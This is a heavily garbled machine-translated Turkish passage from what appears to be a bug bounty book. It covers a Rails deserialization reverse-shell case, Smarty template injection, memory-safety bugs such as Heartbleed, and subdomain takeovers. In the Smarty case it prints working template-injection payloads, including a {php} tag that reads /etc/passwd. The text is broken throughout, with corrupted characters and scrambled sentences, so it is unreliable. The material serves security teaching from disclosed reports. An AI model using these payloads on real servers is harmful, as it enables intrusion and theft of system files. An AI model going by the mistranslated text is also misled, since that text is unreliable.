ve imzasini dogrular, nesneye nesneyi ¢agiran yontemleri seri hale getirir

seri hale getirilmis. Bu nedenle, bu seriyi kaldirma siireci ve

Serilestirilmig nesneler, saldirganin rasgele kod yiiriitmesine olanak saglar.

Bunlarin hepsini Michiel'in bulmasina geri gotiirdii, sirrin1 buldugundan beri, bagard.
base64 kodlu nesneler olarak depolanan kendi serilestirilmis nesnelerini yarat, imzala ve ilet
cerezler araciligiyla siteye onlari. Site daha sonra kodunu uygulardi. Bunu yapmak i¢in o
metasploit-framework, Rails Secret i¢in Rapid7'den bir konsept aract kanit1 kullandi

Deserialization. Arag, izin verilen ters bir kabuk igeren bir ¢erez olusturur


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/134321
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Michiel keyfi komutlar vermeye basladi. Dolayisiyla, kimligi = 1000 (esya) olarak dondiiren kimligi caligtirdi.
gid = 1000 (esya) grubu = 1000 (esya) . Sevdigi i¢in ¢cok genel olsa da, o karar verdi
Bu giivenlik acigin1 kanitlayan, sunucuda hackerone.txt dosyasini olugturun.

cikarimlar

Her zaman g¢ene diisiiyor ve heyecan verici olmasa da, uygun kesif yapmak

degerli oldugunu kanitlayabilir. Burada, Michiel agik alanda oturan bir giivenlik a¢ig1 buldu

6 Nisan 2014'ten bu yana sadece halka agik Angolia'da Gitrob'u galistirarak

Facebook-Arama deposu. Siz ¢alisirken galistirilabilen ve ¢alistirilabilen bir gorev

incelemeye devam etmek i¢in geri donerek diger hedefleri aramaya ve hacklemeye devam edin.
tamamlandiktan sonra bulgular.

3. Foobar Smarty Sablon Enjeksiyonu RCE

Zorluk : Orta

URL:n/a

Rapor Baglantisi : https://hackerone.com/reports/164224s
Rapor Tarihi : 29 Agustos 2016

Odemeli Odiil : 400 Dolar

Tanim :

Bu, bugiine kadar en sevdigim giivenlik a¢1g1 olmasina ragmen, 6zel bir programda bulunuyor, bu ylizden yapamam.
adin1 agiklar. Ayn1 zamanda diisiik bir 6demedir ancak programin diigiikk ddeme aldigin1 biliyordum.
onlar lizerinde ¢alismaya basladigimda bu beni rahatsiz etmiyor.

29 Agustos'ta Foobar diye adlandirdigimiz yeni bir 6zel programa davet edildim. Yaparken
ilk kesifimde, sitenin 6n ug i¢in Angular kullandigini fark ettim.

Bu benim i¢in genellikle kirmiz1 bir bayrak.

onceden gilivenlik agiklar1. Sonug olarak, ¢esitli sayfalarda yoluma gitmeye bagladim.

ve sunulan siteyi, profilimden baslayarak, 49 i¢in {{7 * 7} }

render olmak. Profil sayfasinda basarili olmasam da, davet etme 6zelligini fark ettim.

arkadaslarim siteye girerek islevselligini test etmeye karar verdim.

Formu goénderdikten sonra asagidaki e-postay1 aldim:

3 https:/hackerone.com/reports/164224
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Foobar Davetiye E-postasi

Garip. E-postanin baglangici, 7 * 7 diyerek Smarty hatas1 veren bir y1gin izi i¢eriyordu
taninmadi. Bu hemen bir kirmizi bayrakti. Goriiniise gére {{7 * 7} }

kaliba enjekte ediliyor ve kalib1 degerlendirmeye ¢alistyordu

7 * 7'yi tanur.

Sablon enjeksiyonlart hakkindaki bilgimin ¢ogu, James Kettle’den (gelistirici
Burpsuite) bu yiizden bir konuyla ilgili makalesi i¢in hizli bir Google aramas1 yaptim

Kullamlacak yiik kapasitesi (aym zamanda harika bir Blackhat sunumu var. izlemenizi tavsiye ederim.).

YouTube’da). Smarty boliimiine g6z attim ve igerdigi yiikii denedim

{self :: getStreamVariable (“dosya: /// proc / self / loginuuid”)} ve hicbir sey. Cikt1 yok.

Ilgingtir, makaleyi tekrar okurken, James aslinda gelecegim yiikii iceriyordu

makalede daha 6nce de olsa kullanmak i¢in. Goriliniise gore acelemde onu 6zledim. Muhtemelen igin
Bu konuda ¢alisan 6grenme deneyimi verilen en iyi aslinda bana sagladi.

Simdi, bulduklarimin potansiyeli hakkinda biraz siipheci oldum, Smarty belgesine gittim.

James'in 6nerdigi gibi Bunu yapmak da dahil olmak {izere bazi ayrilmis degiskenleri ortaya ¢ikard1

{$ Smarty.version}. Bunu benim adim olarak eklemek ve e-postay1 yeniden géndermek sdyle sonuglandu:

Uzaktan Kod Yiiriitme
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Smarty Siiriimii ile Foobar Davet E-postasi

Ismimin simdi 2.6.18 olduguna dikkat edin - sitenin ¢alist1g1 Smarty siiriimii.
Simdi bir yerlere geliyoruz. Belgeleri okumaya devam ederken,

keyfi PHP kodunu ¢alistirmak i¢in {php} {/ php} etiketlerini kullanabilme
Aslinda James'in makalesinde). Bu umut verici goriiniiyordu.

Simdi {php} yiikiinii “Merhaba” {/ php} adim1 yazdirdim ve e-postay1 génderdim.
sonuglandi:

PHP degerlendirme ile Foobar Davet E-postasi

Gordiigiiniiz gibi, simdi benim adim Merhaba. Son bir test olarak, ayiklamak istedim

Uzaktan Kod Yiiriitme

/ etc / passwd dosyasini programa bunun potansiyelini géstermek igin. Bu yiizden kullandim
yiik, {php} $ s =file_get contents ('/ etc / passwd'); var_dump ($ s); {/ php} . Bu olur

/ etc / passwd dosyasini agmak, okumak ve kapatmak i¢in file get contents islevini yiiriitiin
degiskene atama, sonra degigken igerigini ismim olarak atan

Smarty kodu degerlendirdi. E-postay1 génderdim ama adim bostu. Tuhaf.

PHP dokiimantasyonundaki fonksiyon hakkinda bir seyler okudum ve bir parga almaya karar verdim
dosya adimin uzunlugu igin bir sinir olup olmadigini merak ederek. Bu benim yiikiimii doniigtiirdii

{php} $ s =file_get_contents ('/ etc / passwd', NULL, NULL, 0,100); var_dump ($ s); {/ php} . Hayir-
NULL, NULL, 0,100, bu dosyadan ilk 100 karakteri alir.

Tiim igerigin. Bu, asagidaki e-posta ile sonuglandi:
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Foobar Davetiyesi / etc / passwd icerigi ile e-posta

Bagar1! Artik rasgele kod yiiriitebildim ve kavramin kanit1 olarak ¢ikart
Bir seferde tiim / etc / passwd dosyast 100 karakter. Raporumu ve
giivenlik ag181 bir saat i¢inde giderildi.

c¢ikarimlar

Bu giivenlik agig1 iizerinde galismak ¢ok eglenceliydi. Ilk yigin izi kirmiziyd:

Bir seyin yanlis oldugunu ve i¢inde ayrintili olarak agiklanan diger glivenlik agiklarini igaretleyin.
Kitap, dumanin oldugu yerde yangin var. James Kettle'in blog yazisi yayinlanirken

Aslinda kullanilacak koétii niyetli yiikii de g6z ard1 ettim. Ancak, bu verdi

Bana Smarty'yi okuma alistirmalarini 6grenme ve 6grenme firsat

dokiimantasyon. Bunu yapmak, beni ayrilmis degiskenlere ve {php} etiketine yonlendirdi.

kendi kodumu ¢alistir.
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ozet

Diger giivenlik agiklar1 gibi Uzaktan Kod Yiiriitme, tipik olarak kullanic1 girisinin bir sonucudur

diizgiin sekilde dogrulanmamakta ve kullanilmamakta. Saglanan ilk 6rnekte, ImageMagick

K&ti niyetli olabilecek igerikten kacan diizgiin degildi. Bu, Ben ile birlikte

giivenlik ag1g1 hakkinda bilgi sahibi olmasi, 6zellikle olmast muhtemel alanlar1 bulmasina ve test etmesine izin verdi
savunmasiz. Bu tiir giivenlik agiklarini aramakla ilgili olarak, hizli bir islem yoktur.

Cevap. Yayimlanan CVE'lerin farkinda olun ve siteler tarafindan kullanilan yazilimlara géz atin

bu durum savunmasiz olabilecegi i¢in giincel olmayabilir.

Angolia bulgusuna gelince, Michiel boylece kendi gerezlerini imzalayabildi.
izin verilmis olan serilestirilmis nesneler bi¢iminde kotli amaglh kod gondermesine izin vermek

sonra Rails tarafindan giivenildi.
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15. Hafiza

Aciklama

Tampon Tasmasi

Arabellek Tagmasi, bir programin arabellek veya alanina veri yazan bir durumdur.

hafizada, aslinda o hafiza i¢in ayrilan alandan daha ¢ok veri yazabilirsiniz.

Bir buzluk tepsisi agisindan diisliniin, 12 olusturmak i¢in alaniniz olabilir ama sadece isteyin
10. Tepsiyi doldururken, 10 nokta doldurmak yerine ¢ok fazla su eklersiniz,

11 doldurun. Buz kiipii arabelleginden heniiz tagmigsiniz.

Arabellek Tagmasi, en iyi diizensiz program davranisina ve ciddi bir giivenlige yol agar

en kotli durumda giivenlik agigi. Bunun nedeni, Arabellek Tagmasi ile korunmasiz bir programdir
daha sonra cagrilabilecek beklenmedik verilerle giivenli verilerin iizerine yazmaya baslar.

Bu oldugu takdirde, iizerine yazilmis kod, kodundan tamamen farkli bir sey olabilir.

program bir hataya neden olan bekler. Veya, kotii amagli bir bilgisayar korsani tagmasi kullanabilir
Kotii amagl kod yazmak ve yiiriitmek igin.

Iste Apple ren 6rnek bir resim :



https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html

Tampon Tagmasi Ornegi

Burada, ilk 6rnek potansiyel bir tampon tasmasi géstermektedir. Strepy uygulamasi
“Larger” dizesini alir ve tahsis edilen mevcut numaray1 goz ardi ederek bellege yazar

bosluk (beyaz kutular) ve istenmeyen bellege yazma (kirmizi kutular).

! https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.

html
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Siirlar oku

Veriyi ayrilmis bellegin Gtesine yazmaya ek olarak, glivenlik agiginda baska bir giivenlik a¢ig1 bulunmaktadir.
Bir hafiza sinir1 diginda veri okuma. Bu, i¢indeki bir Arabellek Tagmas tiiriidiir
bellek, arabellek izin verenin dtesinde okunuyor.

Bellegin disindaki verileri okuyan iinlii ve son bir giivenlik a¢181 6rnegi -

ary, Nisan 2014'te aciklanan OpenSSL Heartbleed Bocegi'dir. A¢iklama sirasinda,

Internetin giivenli web sunucularinin yaklasik% 17'si (500k) giivenilir otorite tarafindan onaylanmustr.
baglarin saldirtya kars1 savunmasiz olduguna inanilryordu ( https://en.wikipedia.org/wiki/Heartbleed: ).

Heartbleed, sunucuya 6zel anahtarlar, oturum verileri, sifreler vb. Calmak i¢in kullanilabilir.

Bir sunucuya "Kalp Atis1 Istegi" mesaji gondererek gerceklestirildi.
daha sonra ayni mesaj1 tekrar istek sahibine gonderin. Mesaj igerebilir
bir uzunluk parametresi. Saldirtya agik olanlar, mesaj igin hafiza ayirdilar

mesajin gergek boyutuna bakilmaksizin uzunluk parametresini temel alir.

Sonug olarak, Heartbeat mesaji, kii¢lik bir mesaj gondererek kullanildi.
savunmasiz alicilarin fazladan hafiza okumak i¢in kullandiklart biiyiik uzunluk
mesaj hafizasina ne tahsis edildi. Iste Wikipedia'dan bir resim:

2 https://en.wikipedia.org/wiki/Heartbleed



https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/Heartbleed
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/Heartbleed
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Hafiza 123

Heartbleed 6rnegi

Tampon Tagmalarinin daha ayrintili bir analizi, Sinirlarin Disinda ve Heartbleed'de Okuma
Dabha fazla bilgi edinmek istiyorsaniz, bu kitabin kapsami1 diginda
iyi kaynaklar:

Apple Belgeleris

html


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
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Vikipedi NOP Slayts
Web Uygulamasi Giivenligi Projesini Acine

Heartbleed.com 7

Bellek Bozulmasi

Bellek bozulmasi, giivenlik agiginin ortaya ¢ikmasina neden olacak sekilde giivenlik agig1 ortaya ¢ikarmak igin kullanilan bir tekniktir.
siradisi veya beklenmedik davraniglarda bulunma. Etki bir tampon bellege benzer

olmamasi gerektiginde bellegin bulundugu yerde tasma.

Buna bir 6rnek, Bos Bayt Enjeksiyonu. Bu bos bir bayt veya bos bir dize oldugunda olugur
Onaltilik% 100 veya 0x00, saglanan ve istenmeyen davranisa yol agar.

alma programi. C / C ++ veya diigiik seviyeli programlama dillerinde bos bir bayt temsil eder
dizgenin sonu veya dizgenin sonlandirilmasi. Bu, programin islemeyi durdurmasini sdyleyebilir

hemen dize ve bos bayttan sonra gelen baytlar yoksayilir.

Bu, kodun dize uzunluguna dayanmasi durumunda etkilidir. Bos bir bayt okunursa
islem durursa, 10 karakterden olusan bir dize 5'e gevrilebilir.

ornek:
thisis% 00mystring

Bu dize 15 uzunlugunda olmali, ancak dize null baytla sonlanirsa,
deger 6 olur. Bu, kendi dillerini yoneten diisiik seviyeli dillerde sorunludur.
hafiza.

Simdi, web uygulamalari ile ilgili olarak, bu web uygulamalari oldugunda gegerli olur.
C ile yazilmus kiitiiphaneler, harici API'ler vb. ile etkilesime girme
Saldirganlara, web tabanli dosyalart okuma ve yazma dahil
daha genis sunucu ortaminda web uygulamasinin izinleri. Ozellikle ne zaman
S6z konusu programlama dili, PHP gibi, bir C programlama dilinde yazilmistir.
kendisi.
4 hitps://en.wikipedia.org/wiki/Buffer_overflow
s

~ https://en.wikipedia.org/wiki/NOP_slide
6
7

https://www.owasp.org/index.php/Buffer Overflow

http://heartbleed.com


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/Buffer_overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/NOP_slide
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Buffer_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://heartbleed.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/Buffer_overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/NOP_slide
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Buffer_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://heartbleed.com/

Sayfa 137

Sayfa 138

Hafiza
OWASP Baglantilar1
Dabha fazla bilgi igin OWASP Buffer Overflows'a gz atin.s OWASP'a goz ati
Arabellek Tasmasi ve Tasm  "{odunu G6zden Gegirme 9 OWASP Testine gu. atin
Arabellek Tasmalar iginio(  _Tasmasi Icin OW, ™~ Testine gdz atini Kontrol
tizerinden Y1gin Tasmast i¢... « WASP Testii2 OW: ta daha fazla bilgi edin
Null Kodunu Gémme 13

Ornekler

1. PHP ftp_genlist ()

Zorluk : Yiksek
URL : Yok

Rapor Baglantisi : https:/bugs.php.net/bug.php?id=6954514

Rapor Tarihi : 12 Mayis 2015
Odemeli Odiil : 500 Dolar
Tanmim :

PHP programlama dili, C’nin dilindeki C programlama dilinde yazilmstir.

kendi hafizasini yonetme keyfi. Yukarida agiklandigi gibi, Arabellek Tagmalarina izin verilir
Koétii niyetli kullanicilar erigilemez bellek ve uzaktan

kod yiiriit

Bu durumda, ftp uzantisinin ftp _genlist () iglevi tagma i¢in izin verilir,
veya gegici bir dosyaya yazilmig olan 4,294 MB’dan daha fazla gondermek.

Bu da, tahsis edilen ara bellege, yazilan verileri tutmak i¢in kiigiik olmasi sonucunu verdi.
temp dosyasinin igerigini yiiklerken bir y1gin tagsmasiyla sonuglanan temp dosyasi
tekrar hafizaya.

Hafiza

cikarimlar

125

126


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Buffer_Overflows
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Reviewing_Code_for_Buffer_Overruns_and_Overflows
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Reviewing_Code_for_Buffer_Overruns_and_Overflows
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Buffer_Overflow_(OTG-INPVAL-014)
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Buffer_Overflow_(OTG-INPVAL-014)
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Heap_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Stack_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Embedding_Null_Code
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Embedding_Null_Code
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://bugs.php.net/bug.php%3Fid%3D69545
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Buffer_Overflows
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Reviewing_Code_for_Buffer_Overruns_and_Overflows
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Buffer_Overflow_(OTG-INPVAL-014)
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Heap_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Stack_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Embedding_Null_Code
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://bugs.php.net/bug.php%3Fid%3D69545

Arabellek Tagmast eski, iyi bilinen bir giivenlik agig1dir, ancak ne zaman yaygindir

ozellikle kendi hafizasini yoneten uygulamalar ile ilgilenmek

C ++. C’ye dayal1 bir web uygulamasiyla kars1 karsiya oldugunuzu dgrenirseniz,

dil (PHP yazilmstir), arabellek tagmalari belirgin bir olasiliktir.

Ancak, yeni basliyorsaniz, muhtemelen bulmak i¢in zaman ayirmaya deger

enjeksiyonla ilgili giivenlik agiklarin1 daha basit hale getirin ve arabellek tagmalarina geri doniin
sen daha deneyimlisin.

2. Python Hotshot Modiilii

Zorluk : Yiksek
URL : Yok

Rapor Baglantisi : http://bugs.python.org/issue24481:s

Rapor Tarihi : 20 Haziran 2015
Odemeli Odiil : 500 Dolar
Tamim :

PHP gibi, Python programlama dili de C programlama dilinde yazilmistir,

Daha once de belirtildigi gibi, kendi hafizasini yonetir. Python Sicak Nokta Modiilii
mevcut profil modiiliiniin yerine gegmistir ve ¢ogunlukla C’ye

mevcut profil modiilinden daha kiigiik performans etkisi. Ancak, Haziran 2015°te
Dize kopyalamaya caligan kodla ilgili Arabellek Tagmasi giivenlik a¢i181 kesfedildi

bir hafiza konumundan digerine.

Temel olarak, savunmasiz kod, hafizay1 kopyalayan, memcpy metodunu ¢agirdi.

bir konum digerine kopyalanacak bayt sayisini alarak. Iste cizgi:
memcpy (self-> tampon + self-> dizin, s, len);

Memcpy metodu 3 parametre alir, str, str2 ve n. strl hedef, str
kopyalanacak kaynak ve n kopyalanacak bayt sayisidir. Bu durumda, bunlar
self-> buffer + self-> index, s ve len degerlerine karsilik gelir.

Bu durumda, giivenlik a¢1g1, kendi>> arabelleginin her zaman sabit oldugu ger¢eginden kaynaklaniyordu.
gibi uzunluk s herhangi bir uzunlukta olabilir.

Sonug olarak, kopyalama islevini yiiriitiirken (yukaridaki Apple diyagramindaki gibi),
memcpy islevi, kopyalanan alanin ger¢ek boyutunu goz ardi eder ve boylece

tagma.
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c¢ikarimlar

Simdi yanlis uygulanan iki fonksiyonun 6rnegini gordiik.

Tampon Tasmalarma karsi duyarli, memcpy ve strepy . Bir site biliyorsak

veya uygulama C veya C ++ 'a dayaniyorsa, kaynak lizerinden arama yapmak miimkiindiir
yanlis bulmak i¢in bu dil i¢in kitapliklar1 kodlayin (grep gibi bir sey kullanin)

uygulamalar.

Anahtar, sabit uzunluktaki bir degiskeni gegen uygulamalar1 bulmak olacaktir.


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://bugs.python.org/issue24481
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://bugs.python.org/issue24481
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Ancak, yukarida belirtildigi gibi, yeni basliyorsaniz, daha degerli olabilir

geri donerek bu tiir giivenlik agiklarini aramay1 birakma vaktiniz
beyaz sapka kirma ile daha rahat olduklarinda onlari.

3. Libcurl Simirlari Disinda Oku

Zorluk : Yiksek

URL : Yok

Rapor Baglantisi : http:/curl.haxx.se/docs/adv_20141105.htmlis
Rapor Tarihi : 5 Kasim 2014

Odemeli Odiil : 1000 $

Tanim :

Libcurl ticretsiz bir istemci tarafi URL aktarim kiitiiphanesidir ve cURL komut satir1 tarafindan kullanilir.
veri aktarimi i¢in bir arag. Libcurl curl_easy duphandle () cihazinda bir giivenlik agig1 bulundu
olmayan hassas verileri gondermek i¢in kullanilabilecek bir iglev

iletim i¢in tasarlanmigtir.

Libcurl ile bir transfer yaparken, bir segenek kullanmak miimkiindiir: CURLOPT COPY-
POSTFIELDS, uzak sunucuya gonderilecek veriler i¢in bir hafiza konumu belirlemek i¢in kullanilir.
Bagka bir deyisle, verileriniz i¢in bir tutma tanki diigiiniin. Konumun (veya tankin) boyutu

ayr1 bir secenekle ayarlayin.

Simdi, agir1 teknik olmadan, bellek alani bir “tanitic1” ile iligkilendirildi.

(tam olarak ne anlama geldigini bilmek bu kitabin kapsami digindadir ve gerekli degildir)
Burada takip etmek i¢in) ve uygulamalar bir kopyasini olusturmak i¢in taniticty1 ¢ogaltabilir
veri. Giivenlik agiginin bulundugu yer burasi - kopyanin uygulanmasi

ile strdup fonksiyon ve veri sifir (sifir) bayt sahip oldugu kabul edildi

bir dizenin sonunu belirtir.

16 httpz//curl.haxx.se/does/ady 20141105.html

Hafiza

Bu durumda, veri sifir (bos) bayta sahip olmayabilir veya istege bagl bir veriye sahip olmayabilir.
yer. Sonug olarak, ¢ogaltilmis tutamag ¢ok kiigiik olabilir, ¢ok biiyiik olabilir veya

programi. Ayrica, ¢ogaltma isleminden sonra veri gonderme islevi hesaba katilmaz

Zaten okunmus ve kopyalanmis veriler i¢in de erisildi ve veri gonderildi.

amaglanan hafiza adresinin 6tesinde.

cikarimlar

Bu ¢ok karmasik bir giivenlik ag181 drnegidir. Varlik sinirinda iken

Bu kitabin amaci i¢in ¢ok teknik, ben gostermek i¢in dahil

ogrendiklerimizle benzerlikler. Bunu yiktigimizda, bu

giivenlik ag1g1, iliskili C kodu uygulamasindaki bir hatayla da iliskilendirildi.
Hafiza yonetimi ile, 6zellikle hafizanin kopyalanmasi. Yine gidiyorsan

C seviyesi programlamada kazmaya baslamak i¢in, verilerin bulundugu alanlar1 aramaya baglayin.

bir hafiza konumundan digerine kopyalanmak.

128


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://curl.haxx.se/docs/adv_20141105.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://curl.haxx.se/docs/adv_20141105.html

4. PHP Bellek Bozulmasi

Zorluk : Yiiksek

URL : Yok

Rapor Baglantisi : https:/bugs.php.net/bug.php?id=6945317
Rapor Tarihi : 14 Nisan 2015

Odemeli Odiil : 500 Dolar

Tanim :

Phar parse _tarfile yontemi bos bir bayt ile baglayan dosya adlarin1 hesaba katmazd,
sifir degeri ile baglayan bir bayt, yani onaltilik 0x00.

Yontemin yiiriitiilmesi sirasinda, dosya adi kullanildiginda,
dizi (yani, ger¢ekte var olmayan ve dizinin disinda olan verilere erismeye c¢aligmak
ayrilan hafiza) meydana gelecektir.

Bu 6nemli bir giivenlik agigidir, ¢iinkii bellege hacker erisimi saglar.

sinirlart diginda olmali.
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cikarimlar

Tipk: Arabellek Tagmalari gibi, Bellek Bozulmasi eski ama yine de yaygin

kendi hafizasini yoneten uygulamalarla ¢alisirken giivenlik agigi,

ozellikle C ve C ++. Bir web uygulamasi ile ugrastiginizi 6grenirseniz

(PHP'nin yazildigr) C diline gore yollar aramak

bu hafiza manipiile edilebilir. Ancak, yine, yeni bagliyorsaniz, bu

Enjeksiyonla ilgili basit giivenlik agiklarini1 bulmak i¢in zaman ayirmaya deger olabilir
ve daha fazla deneyiminiz oldugunda Hafiza Yolsuzluguna geri doniin.

ozet

Hafiza ile ilgili giivenlik agiklar biiyiik mansetlere neden olsa da

iizerinde ¢alisin ve kayda deger miktarda beceri gerektirir. Bu tiir giivenlik aciklari
Diisiik seviyeli programlamada bir programlama ge¢misiniz yoksa, yalniz basina daha iyi
Diller.

Modern programlama dilleri kendi dillerinden dolay1 onlara daha az duyarli olurlar.
bellek ve ¢op toplama islemlerini, C programlama ile yazilmis uygulamalari

diller hala ¢ok hassastir. Ek olarak, modernle ¢aligirken

C programlama dillerinde yazilmis dillerin kendileri, isleri biraz zorlastirabilir;


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://bugs.php.net/bug.php%3Fid%3D69453
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://bugs.php.net/bug.php%3Fid%3D69453
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PHP ftp_genlist () ve Python Hotshot Module 6rnekleriyle gordiik .

16. Alt Alan Ad1 Alma

Aciklama

Alt alan ad1 devralma gergekten kulaga kotii geliyor, kotii niyetli bir kisinin oldugu bir durum
mesru bir site adina bir alt alan talep edebilir. Ozetle, bu tiir
giivenlik agi1g1, bir alt etki alan1 icin DNS girisi olusturan bir siteyi, drnegin Heroku'yu igerir.

(barmdirma sirketi) ve asla bu alt etki alanini talep etmiyor.

1. example.com Heroku'ya kaydoldu

Example.com, alt domain.example.com 'u uni- isaretiyle gosteren bir DNS girisi olusturur.
corn457.heroku.com

Ornek.com.tr, asla unicorn457.heroku.com oldugunu iddia etmez.

4. Kot niyetli bir kisgi unicorn457.heroku.com Iddia ediyor ve example.com sitesini kopyaliyor.

5. domain.example.com alt trafiginin tiim trafigi, kotii amagh bir web sitesine yonlendirilir.

example.com'a benziyor

Bu nedenle, bunun gergeklesmesi i¢in, bir harici igin talep edilmemis DNS girisleri olmasi gerekir.
Heroku, Github, Amazon S3, Shopify gibi servisler. Bunlar1 bulmak i¢in harika bir yol kullaniyor.
Araglar boliimiinde tartisilan ve ortak bir alt liste tizerinde yinelenen KnockPy

varligint dogrulamak i¢in etki alanlari.



Ornekler

1. Ubiquiti Alt Alan Adi Devralma

Zorluk : Diigiik
URL : http://assets.goubiquiti.com

Rapor Baglantisi : https://hackerone.com/reports/109699:

Rapor Tarihi : 10 Ocak 2016
Odemeli Odiil : 500 Dolar

Tanim :

! https://hackerone.com/reports/109699
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Alt etki alan1 devralmalarinin taniminin ima ettigi gibi, http://assets.goubiquiti.com
dosya depolama i¢in Amazon S3'e isaret eden bir DNS girisi vardi, ancak gergekte Amazon S3 kovasi yok

mevcut. Iste HackerOne'un ekran goriintiisii:

Goubiquiti Varhklar1 DNS

Sonug olarak, kotii niyetli bir kisi uwn-images.s3-website-us-west-1.amazonaws.com adresini talep edebilir.
ve orada bir siteye ev sahipligi yapiyor. Buradaki giivenlik agig1 Ubiquiti gibi gériinmesini saglayabildiklerini varsayarsak

kullanicilar kisisel bilgilerinizi sunma ve hesaplar1 devralma konusunda kandiriyor.

c¢ikarimlar

DNS girisleri, giivenlik agiklarini ortaya ¢ikarmak i¢in yeni ve benzersiz bir firsat sunar. kullanim
Alt alan adlarinin varligin1 dogrulamak i¢in KnockPy ve ardindan onayla

tiglinci taraflara 6zel dikkat gosteren gegerli kaynaklara isaret ediyorlar

AWS, Github, Zendesk vb. gibi servis saglayicilar

ozellestirilmis URL’leri kaydedin.

2. Scan.me Zendesk'e Isaret Edin

Zorluk : Diisiik

URL : destek.scan.me

Rapor Baglantisi : https://hackerone.com/reports/114134>
Rapor Tarihi : 2 Subat 2016

Odemeli Odiil : 1000 $

Tamm :

Tipki Ubiquiti rneginde oldugu gibi, burada, scan.me - bir Snapchat kazanimi - CNAME girisi yapt1
support.scan.me ile scan.zendesk.com adresine gidin. Bu durumda, hacker harry mg

support.scan.me'nin yonlendirecegi scan.zendesk.com'u talep edebildi.

Ve bu kadar. 1.000 ABD dolar1 6deme
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cikarimlar

COK DIKKAT! Bu giivenlik ag1g1 Subat 2016'da bulundu ve karmasik degildi

hi¢. Basarili bocek avi keskin gozlem gerektirir.

2 https:/hackerone.com/reports/114134

Alt Etki Alan1 Devralma
3. Windsorify Sub Sub Domain Alimi

Zorluk : Diisiik

URL : windsor.shopify.com

Rapor Baglantisi : https://hackerone.com/reports/150374s
Rapor Tarihi : 10 Temmuz 2016

Odemeli Odiil : 500 Dolar

Tanim :

Temmuz 2016’da Shopify, DNS yapilandirmasinda

alt etki alan1 windsor.shopify.com bagka bir etki alanina yonlendirildi, aislingofwindsor.com
artik sahip olmadiklari. Raporu okumak ve muhabirle sohbet etmek, @zseano,

Bunu ilging ve kayda deger kilan birkag sey var.

ilk olarak, @zseano veya Sean, tarama yaptig1 sirada giivenlik agigma girdi.

